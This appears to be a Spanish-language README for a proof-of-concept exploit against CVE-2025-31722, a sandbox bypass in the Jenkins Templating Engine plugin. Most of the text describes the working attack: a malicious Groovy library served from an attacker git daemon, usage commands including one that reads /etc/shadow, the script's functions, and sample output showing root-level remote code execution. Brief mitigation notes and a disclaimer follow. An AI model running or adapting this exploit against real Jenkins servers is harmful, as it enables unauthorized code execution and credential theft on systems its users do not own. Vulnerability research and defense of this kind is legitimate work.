
Prueba de concepto de exploit para la omisión del sandbox del plugin Jenkins Templating Engine (CVE-2025-31722) que permite la ejecución remota de código mediante la inyección de una biblioteca Groovy maliciosa.
Solo con fines educativos y de investigación de seguridad autorizada.
Vulnerabilidad de bypass de sandbox en el plugin Jenkins Templating Engine (JTE) <= 2.5.3 que permite a un usuario con pocos privilegios ejecutar código arbitrario en el servidor Jenkins.
La falla ocurre porque JTE carga librerías desde un repositorio git externo definido en una configuración GovernanceTier a nivel de carpeta y ejecuta los pasos de esas librerías fuera del sandbox de Groovy, independientemente del nivel de privilegio del usuario que creó el trabajo.
CVSS: 8.8 (Alta)
Tipo: Bypass de Sandbox → RCE
Componente afectado: plugin pipeline-templating-engine ≤ 2.5.3
Versión corregida: 2.5.4+
Atacante (Kali) Servidor Jenkins
─────────────── ──────────────
1. Crea repo git con evil.groovy
2. Inicia demonio git en :9418
3. Crea carpeta en Jenkins → Carpeta con GovernanceTier
apuntando a git://KALI:9418/… apuntando al repo del atacante
4. Crea trabajo con plantilla AdHoc → El trabajo llama a evil()
5. Dispara la construcción → JTE clona el repo desde Kali
Ejecuta evil() fuera del sandbox
← RCE como usuario Jenkins
cloudbees-folder, git, workflow-aggregatorattacker con permisos: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILDgit instaladorequestspip install requests
La configuración instalada en un servidor Debian/Ubuntu tenía Jenkins instalado, usuarios configurados, permisos y los plugins requeridos. No crea ningún contenido malicioso — eso se maneja exclusivamente con el PoC.
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP>
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cmd "cat /etc/shadow"
python3 exploit.py \
--url http://<JENKINS-IP>:8080 \
--user attacker \
--pass attacker123 \
--git-host <KALI-IP> \
--cleanup
| Parámetro | Descripción | Requerido |
|---|---|---|
--url | URL base de Jenkins | Sí |
--user | Usuario con permisos Item/CREATE+CONFIGURE+BUILD | Sí |
--pass | Contraseña del usuario | Sí |
--git-host | IP de Kali accesible desde Jenkins | Sí |
--cmd | Comando a ejecutar en el servidor (por defecto: id && hostname && cat /etc/passwd) | No |
--cleanup | Elimina la carpeta, el trabajo y el repo creados por el exploit | No |
setup_repo() — Crea ~/jte-exploit/evil-lib/steps/evil.groovy en Kali con el comando a ejecutarstart_git_daemon() — Inicia git daemon en Kali en el puerto 9418create_folder() — Crea una carpeta en Jenkins con un GovernanceTier apuntando a git://KALI:9418/jte-exploitcreate_job() — Crea un trabajo con AdHocTemplateFlowDefinition que declara evil-lib y llama a evil()trigger_and_wait() — Dispara la construcción y espera el resultadoprint_output() — Muestra la salida de la consola con el resultado del RCEEl demonio git permanece activo durante todo el ciclo de construcción y se termina automáticamente una vez que la construcción se completa.
=================================================================
CVE-2025-31722 — Jenkins Templating Engine RCE
Objetivo : http://10.211.55.10:8080
Git host : 10.211.55.7
Comando : id && hostname && cat /etc/passwd
=================================================================
[+] Autenticado como: attacker (id=attacker)
[+] Repo creado: /root/jte-exploit
[+] Paso malicioso: evil-lib/steps/evil.groovy
[+] Demonio git ejecutándose en git://10.211.55.7:9418/jte-exploit
[+] Carpeta creada
[+] Trabajo creado
[+] Construcción encolada
=================================================================
CVE-2025-31722 — SALIDA RCE
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================
Item/CREATE y Item/CONFIGURE solo a usuarios de confianzaGovernanceTier que apunten a repositorios externosAviso legal: Este PoC está destinado únicamente para fines educativos y pruebas en entornos controlados. Usarlo contra sistemas sin autorización explícita es ilegal.